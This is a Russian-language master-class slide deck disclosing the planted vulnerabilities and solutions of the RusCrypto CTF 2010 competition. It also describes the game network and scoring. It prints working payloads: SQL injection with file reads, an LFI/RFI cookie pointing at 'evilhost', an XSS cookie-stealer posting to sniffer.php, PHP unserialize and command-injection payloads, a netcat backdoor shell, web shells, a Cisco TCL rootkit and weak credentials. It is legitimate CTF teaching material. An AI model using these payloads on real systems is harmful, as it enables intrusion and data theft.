РусКрипто CTF 2010, Full Disclosure (мастер класс)

План мероприятия
Подробности подготовки и проведения CTF
Заложенные уязвимости, пути их обнаружения и эксплуатации
Практические занятия
Хронология событий

Подробности подготовки и проведения CTF

РусКрипто CTF 2010
РусКрипто CTF — это открытые соревнования по защите информации, проводимые по принципам игры Capture The Flag (захват флага).
РусКрипто CTF — это не классический CTF!
Для захвата флагов в РусКрипто CTF необходимо воспользоваться реальными уязвимостями в самых настоящих (продуктивных) системах.
Расположение большинства флагов заранее известно.
В основу легенды соревнования РусКрипто CTF 2010 легло повествование «Лавина» Нила Стивенсона.

РусКрипто CTF 2010: Дизайн игровой сети

РусКрипто CTF 2010: Как все было устроено «изнутри»
Инфраструктуры команд работали на двух серверах:
Fortice A133 (SR1500AL, XEON 5345x2, DDR2 FB DIMM 667MHz 2Gbx4, SEAGATE ST3450802SS)
Fortice A234 (SR2600UR, XEON 5550x2, DDR3 DIMM 1333MHz 1Gbx6, SEAGATE ST3450802SSx2 RAID SAS 0)
Инфраструктуры команд функционировали под управлением VMWare ESX в виртуальной среде
В качестве основного коммутатора использовался:
Cisco Catalyst 3560 (WS-C3560-48TS)
Сеть разделялась с помощью Virtual Local Area Network (Virtual LAN) IEEE 802.1Q, настройки коммутатора соответствовали максимальному уровню защищенности
Для организации игрового Wi-Fi-пространства применялось следующее оборудование:
Cisco WLS (WLC2106-K9), Access Point AIR-LAP1242AG-A-K9
Игрокам было предоставлено коммуникационное оборудование «из коробки» на базе CISCO IOS.

РусКрипто CTF 2010: Распределение игровой инфраструктуры

РусКрипто CTF 2010: Топология игровой сети

РусКрипто CTF 2010: Как все было устроено «изнутри»
Использовалось следующее программное обеспечение:
VMWare ESX 4.x с разделением виртуальных сетевых адаптеров по соответствующим идентификаторам сетей (VLAN ID).
ОС FreeBSD 8.0-RELEASE-p2, в которой игроки обладали доступом только к среде JAIL (полностью контролируемая среда).
Примечание: «игровой» коммутатор Cisco был запущен под управлением Dynamips.
ОС Microsoft Windows 2003 (Trial), в которой были запущены инструменты Radmin (Trial), SMS-вирус и n00bkit (rootkit).
ОС Microsoft Windows 98.
CMS 1C-Битрикс в качестве платформы взаимодействия жюри и игроков, отображения результатов соревнования, а также в качестве «бонусного» задания в контексте соревнования CTF.
Nagios для мониторинга доступности всех систем.
Собственные сценарии для отслеживания корректного функционирования разработанных сервисов и их обновления.
Все ПО, обеспечивающее функционирование CTF, было обновлено до последних версий на день проведения соревнования.
Для обеспечения безопасности «скелета» CTF использовался принцип эшелонированной защиты во всех компонентах сети.

РусКрипто CTF 2010: еще разок поблагодарим спонсоров

Заложенные уязвимости, пути их обнаружения и эксплуатации

РусКрипто CTF 2010
Подготовленные сервисы:
Корпоративный сайт (jail1)
Служба информирования доставщиков (jail2)
Система документооборота (jail3)
Сервис управления датчиками (jail4)
Тестовый сервер (jail5)
Коммутатор Cisco (jail6)
Точка беспроводного доступа
Windows 2003 (ноутбук менеджера)
Windows 98 (компьютер дядюшки Энцо)

РусКрипто CTF 2010: Корпоративный сайт

РусКрипто CTF 2010: Корпоративный сайт (st0)
SQL Injection (MySQL 5.x) в Insert (default error based) over Mod_Security
Уязвимый запрос:
…
$query = "INSERT INTO pizza (pizza, time) VALUES (".$_POST['pizza'].",".$_POST['time'].")";
…
Эксплуатация:
POST pizza=1
POST time=(/*!12345select 1 from(select count(*),concat((select mid(load_file('/YOURFLAG.TXT'),451,32)),floor(rand(0)*2))x from pizza group by x)a)*/
ИЛИ
POST pizza=1
POST time=(/*!12345select 1 from(select count(*),concat((select mid(load_file(0x2F594F5552464C41472E545854),451,32)),floor(rand(0)*2))x from pizza group by x)a)*/

РусКрипто CTF 2010: Корпоративный сайт (st0)
SQL Injection (MySQL 5.x) в Insert (default error based) over Mod_Security

РусКрипто CTF 2010: Корпоративный сайт (st0)
Подбор + File Including в cookie (default RFI)
Прежде чем воспользоваться уязвимостью, необходимо авторизоваться на странице admin.php. Авторизоваться можно несколькими способами:
подобрав пароль к учетной записи admin (по умолчанию «1234567»);
подключившись напрямую к MySQL под учетной записью пользователя www (http://192.168.X.1/config.inc) и создав нового пользователя.
Уязвимый участок кода:
…
include_once($_COOKIE['lang'].'.php');
…
Эксплуатация (правила Mod_Security намеренно были изменены):
LFI: Cookie[lang]=non/../../../../../../YOURFLAG.TXT/.[496]/.
RFI: Cookie[lang]=http://evilhost/s

РусКрипто CTF 2010: Корпоративный сайт (st0)
Подбор + File Including в cookie (default RFI)

РусКрипто CTF 2010: Корпоративный сайт
Подбор (default information leakage) + Cross-Site Scripting
Содержимое x.js:
xss=new/**/Image().src='http://192.168.X.X/sniffer.php?data='+document.cookie;

РусКрипто CTF 2010: Корпоративный сайт (st1)
Выполнение команд на сервере over unserialize()
Потенциально уязвимый участок кода (login.php):
…
include_once("config.inc");
include_once("functions.php");
if(isset($_SESSION['captcha_keystring']) && $_SESSION['captcha_keystring'] == $_POST['key']){
$sessid = unserialize(base64_decode($_COOKIE['sessid']));
…
Уязвимый участок кода (functions.php):
…
function __destruct(){echo $this->shutdown;
if (!empty($this->shutdown)){
$var = $this->shutdown[0];
$arg = $this->shutdown[1];
$var($arg);
…
Еще почитать: «PHP unserialize() _SESSION and Dynamics», Владимир Воронцов (http://oxod.ru/?p=244)

РусКрипто CTF 2010: Корпоративный сайт (st1)
Выполнение команд на сервере over unserialize()
Эксплуатация:
O:8:"Database":1:{s:8:"shutdown";a:2:{i:0;s:7:"phpinfo";i:1;s:2:"-1";}}
cookie[sessid]=Tzo4OiJEYXRhYmFzZSI6MTp7czo4OiJzaHV0ZG93biI7YToyOntpOjA7czo3OiJwaHBpbmZvIjtpOjE7czoyOiItMSI7fX0NCg==
O:8:"Database":1:{s:8:"shutdown";a:2:{i:0;s:6:"system";i:1;s:2:"ls";}}
cookie[sessid]=Tzo4OiJEYXRhYmFzZSI6MTp7czo4OiJzaHV0ZG93biI7YToyOntpOjA7czo2OiJzeXN0ZW0iO2k6MTtzOjI6ImxzIjt9fQ0KDQo=
O:8:"Database":1:{s:8:"shutdown";a:2:{i:0;s:8:"passthru";i:1;s:17:"cat /YOURFLAG.TXT";}}
cookie[sessid]=Tzo4OiJEYXRhYmFzZSI6MTp7czo4OiJzaHV0ZG93biI7YToyOntpOjA7czo4OiJwYXNzdGhydSI7aToxO3M6MTc6ImNhdCAvWU9VUkZMQUcuVFhUIjt9fQ==

РусКрипто CTF 2010: Корпоративный сайт (st2)

3 back-door over web-shell
РусКрипто CTF 2010: Корпоративный сайт (st2)
…
if(@$_GET['v'])include(@$_GET['v']);
…
http://192.168.0.1/bak_index.php?v=/YOURFLAG.TXT
…
@$_REQUEST['a'])?eval($_REQUEST['h']($_REQUEST['a'])):0;
…
http://192.168.0.1/img.php?h=passthru&a=cat%20/YOURFLAG.TXT
.htaccess
AddType application/x-httpd-php .png
http://192.168.0.1/fonts/footevening.png

Дополнительные уязвимости
Раскрытие конфиденциальных данных (/config.inc, /test.php, /phpinfo.php)
Раскрытие конфиденциальной информации (display_errors=off, etc)
Подбор (/admin.php, MySQL)
Отсутствие таймаута сессии
Предугадываемое значение идентификатора captcha
Уязвимые (намеренно измененные) правила Mod_security
Недостаточное противодействие автоматизации при заказе пиццы
Интерфейс администрирования не защищен надлежащим образом
Передача конфиденциальных данных по открытому протоколу HTTP
Уязвимые конфигурации ОС/MySQL/Apache/PHP
РусКрипто CTF 2010: Корпоративный сайт

Практическое занятие часть 1
http://192.168.0.1/
Обнаружить уязвимость типа «Внедрение операторов SQL».
Воспользоваться уязвимостью «Внедрение операторов SQL» для получения «флага».
Воспользоваться уязвимостью типа «Local File Including» с той же целью.
Воспользоваться уязвимостью при вызове функции unserialize() с целью выполнения команд ОС и для получения «флага».

РусКрипто CTF 2010: Служба информирования доставщиков

РусКрипто CTF 2010: Служба информирования доставщиков (st0)
Классическая SQL Injection (PostgreSQL)
Уязвимое regexp:
from django.conf.urls.defaults import *
…
(r'^pizza(.*)$', 'ctfproject.ctfpyweb.views.pizza'),
…
Эксплуатация:
/ctfproject/pizza5;select+1,version()
/ctfproject/pizza5;select+1,pg_read_file('YOURFLAG.TXT',0,500)
ИЛИ
/ctfproject/pizza5%20and%201=2%20union%20select%20null,null,version(),null,null
/ctfproject/pizza5%20and%201=2%20union%20select%20null,null,pg_read_file('YOURFLAG.TXT',0,500),null,null

РусКрипто CTF 2010: Служба информирования доставщиков (st0)
Классическая SQL Injection (PostgreSQL)

РусКрипто CTF 2010: Служба информирования доставщиков (st1)
Выполнение команд на сервере over AJAX
Уязвимый участок кода:
…
if('args' in request.POST):
args = request.POST['args']
try:
retval = subprocess.Popen("uname -%s" % (args), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0]
…
Эксплуатация:
<br> var params = 'args=i | cat /YOURFLAG.TXT'<br> xmlhttp=new XMLHttpRequest();<br> xmlhttp.open("POST", "http://192.168.X.2/ctfproject/confdata", false);<br> xmlhttp.send(params);<br> document.write(xmlhttp.responseText);<br>

Дополнительные уязвимости
XPath Injection
Open Proxy
Подбор (раздел администрирования)
Недостаточное противодействие автоматизации в форме обратной связи
Отсутствие таймаута сессии
Передача конфиденциальных данных по открытому протоколу HTTP
Уязвимые конфигурации ОС/PostgreSQL/Apache/PYTHON
РусКрипто CTF 2010: Служба информирования доставщиков

РусКрипто CTF 2010: Система документооборота

РусКрипто CTF 2010: Система документооборота
Выход за пределы каталога (path traversal)
Фрагмент уязвимого кода:
...
if (ptr[strlen(ptr) - 1] == '/')
strcat(ptr, "index.html");
strcpy(resource, WEBROOT);
strcat(resource, ptr);
fd = open(resource, O_RDONLY, 0);
...
Эксплуатация:
GET /../../YOURFLAG.TXT HTTP/1.1

«Бонусный флаг»
61h,62h,63h...-> a,b,c...
РусКрипто CTF 2010: Система документооборота

Переполнение буфера (buffer overflow)
Фрагмент уязвимого кода:
...
char tmp[8192];
tmp[0]=1;
...
while(1) {
tmp[1]=tmp[0]++;
...
void handle_connection(int sockfd, struct sockaddr_
in *client_addr_ptr) {
unsigned char *ptr, resource[500], request[8192];
int htr, fd, length;
length = recv_line(sockfd, request);
...
«Hacking: The Art of Exploitation», Jon Erickson
РусКрипто CTF 2010: Система документооборота

Переполнение буфера (buffer overflow)
РусКрипто CTF 2010: Система документооборота

Дополнительные уязвимости
Процесс работает под привилегированной учетной записью (uid0)
Подбор и недостаточная аутентификация (используется javascript)
Уязвимые конфигурации ОС
РусКрипто CTF 2010: Система документооборота

РусКрипто CTF 2010: Сервис управления датчиками

Получение пароля к сервису
РусКрипто CTF 2010: Сервис управления датчиками

Однобайтовое переполнение
Фрагмент уязвимого кода:
...
char cmd[50]; //was 4096
...
nb = anetRead(cli->fd, cmd, 140);
...
else if (strcmp(cmd, "SHELL") == 0 && loc_shl != 0) {
// execute shell command
...
Эксплуатация:
OK CosaNostra Owen Control 1.0.23
AAA[126]AAA
-ERR
shell cat /YOURFLAG.TXT
РусКрипто CTF 2010: Сервис управления датчиками

«Бонусный флаг»
РусКрипто CTF 2010: Сервис управления датчиками

Дополнительные уязвимости
Процесс работает под привилегированной учетной записью (uid0)
Не используется криптографическая защита
Подбор
Уязвимые конфигурации ОС
РусКрипто CTF 2010: Сервис управления датчиками

Задания для самостоятельного выполнения
В раздаточном материале содержится:
Исходный код «Системы документооборота»
Исходный код «Сервиса управления датчиками»

РусКрипто CTF 2010: Тестовый сервер

Подбор (множество интерфейсов)
Доступные протоколы:
login/shell/telnet/ssh,
mysql,
ftp (доступ к корневому каталогу веб-сервера)
Учетные записи со слабыми паролями:
toor:root
andrey:andrey
www1:password
alla:misha
olga:4321
sergey:qwerty1
РусКрипто CTF 2010: Тестовый сервер

SQL Injection/File Including/XSS
/bitrix/admin/index.php -> admin:123456
РусКрипто CTF 2010: Тестовый сервер

Back-door (выполнение команд на сервере)
[~] cat /etc/crontab
...
*/5 * * * * root /usr/libexec/atrun
...
[~] file /usr/libexec/atrun
/usr/libexec/atrun: POSIX shell script text executable
[~] cat /usr/libexec/atrun
#!/bin/sh
if [ `ps -ax|grep 31337|wc -l` -lt 2 ]; then /usr/bin/nc -l -w 10 -u 31337|/bin/sh|nc -w 10 -l 31337; fi
РусКрипто CTF 2010: Тестовый сервер

Дополнительные уязвимости
Раскрытие конфиденциальной информации (display_errors=off)
Подбор (/bitrix/admin/, etc)
…
РусКрипто CTF 2010: Тестовый сервер
Уязвимые конфигурации ОС/MySQL/Apache/PHP и сторонних приложений Bitrix/phpmyadmin
Уязвимые версии ПО

РусКрипто CTF 2010: Точка беспроводного доступа
Даже с отключенными настройками безопасности (включая IPS) оборудование Cisco Wireless LAN Controller 2100 (AP Cisco 1240) способно успешно противодействовать атаке на протокол WEP без легитимного трафика пользователей.
Ноутбуки планировавшиеся для создания трафика были заняты поддержкой выхода в интернет.
Задача была не решаемой.

РусКрипто CTF 2010: Коммутатор Cisco

Подбор
Cisco/Cisco; enable zxasqw
Выгрузка конфигурации через SNMP
snmpset -v 1 -c private
.1.3.6.1.4.1.9.9.96.1.1.1.1.2.31337 integer 1
…
Back-door
...
aaa authentication login default local-case
aaa authentication login authen none
...
line vty 0 3
exec-timeout 0 0
line vty 4
exec-timeout 0 0
privilege level 15
login authentication authen
...
РусКрипто CTF 2010: Коммутатор Cisco

Cisco TCL rootkit
…
if { [regexp {^(show|sh) flag\s*(.*)$} $line]} {
puts $sock "Flag: \$1\$Or\/\/v5Vx\$Of2lpfkwS1N7AKuz1kXaa\/"
return [close $sock]
}
…
puts -nonewline $sock "Router# "
flush $sock
…
Методы обнаружения:
# sh proc | i Tcl
# sh tcp brief all numeric
# sh control-plane host open-ports
ХАКЕР № 11 (142) «Атака через TCL», Роман Ильин
РусКрипто CTF 2010: Коммутатор Cisco

Дополнительные уязвимости и соответствие CIS
РусКрипто CTF 2010: Коммутатор Cisco

Практическое занятие часть 2
(192.168.0.10) Cisco
Провести выгрузку используемой конфигурации через протокол SNMP.
Осуществить доступ к коммутатору Cisco с уровнем привилегий «privileges 15».

РусКрипто CTF 2010: Windows

РусКрипто CTF 2010: Windows 2003

Вектор 1 (долгий):
Подобрать пароль к Radmin (pw: 11111111)
Обезвредить SMS-вирус (http://www.esetnod32.ru/.support/winlock/, http://www.drweb.com/unlocker/, http://support.kaspersky.ru/viruses/deblocker)
Обнаружить и выгрузить rootkit (http://www.eset.com/download/sysinspector, http://www.gmer.net/, http://www.antirootkit.com/, etc)
Найти флаг в каталоге временных файлов
Подобрать пароль к архиву (juancp, etehadd… InsidePro.dic)
Вектор 2 (быстрый):
Подобрать пароль администратора (P@ssw0rd) или воспользоваться эксплойтом
Подключиться через SMB (правила FW и IPSEC запрещают доступ по SMB из «своей сети», но разрешают из «чужой»)
Найти флаг в каталоге временных файлов
Подобрать пароль к архиву (juancp, etehadd… InsidePro.dic)
РусКрипто CTF 2010: Windows 2003

К слову об уязвимостях…
РусКрипто CTF 2010: Windows 2003

Подбор пароля к C$ (например, xsharez)
Восстановление данных из PWL-файла администратора (например, repwl)
РусКрипто CTF 2010: Windows 98
Правильное уведомление об уязвимости:
Краткое описание:
Обнаружена устаревшая операционная система, которая с 11 июля 2006 года не поддерживается производителем.
Решение: Отключить от информационной системы.

Хронология событий

РусКрипто CTF 2010: Хронология начисления баллов на протяжении всего соревнования

РусКрипто CTF 2010: Динамика начисления баллов
Бледно-красным цветом выделено максимальное значение в пределах каждого 15-минутного интервала времени, синим цветом – второе по величине значение, зеленым цветом – третье по величине значение.
Максимальное количество баллов, которое каждой команде удалость заработать за 15 минут в течение всего соревнования CTF, выделено ярко-красным цветом.

РусКрипто CTF 2010: Доля незахваченных флагов
Команда Bushwhackers защищалась лучше всех.

РусКрипто CTF 2010: Баллы, полученные за захват флагов
Команда Bushwhackers опередила команду ХакерДом по баллам, полученным за захват флагов!

РусКрипто CTF 2010: Обеспечение доступности всех сервисов
Команда Huge Ego Team стала первой по обеспечению непрерывной работы сервисов своей инфраструктуры.

РусКрипто CTF 2010: Резюме
Не все было так, как хотелось, но было весело :)
Дополнительные материалы:
http://www.ptsecurity.ru/download/PT-Ruscrypto-CTF2010.pdf
http://devteev.blogspot.com/2010/04/2010-ctf-just4fun.html
http://www.ruscrypto.org/conference/ctf/
И в светлом будущем:
http://ctf.securitylab.ru/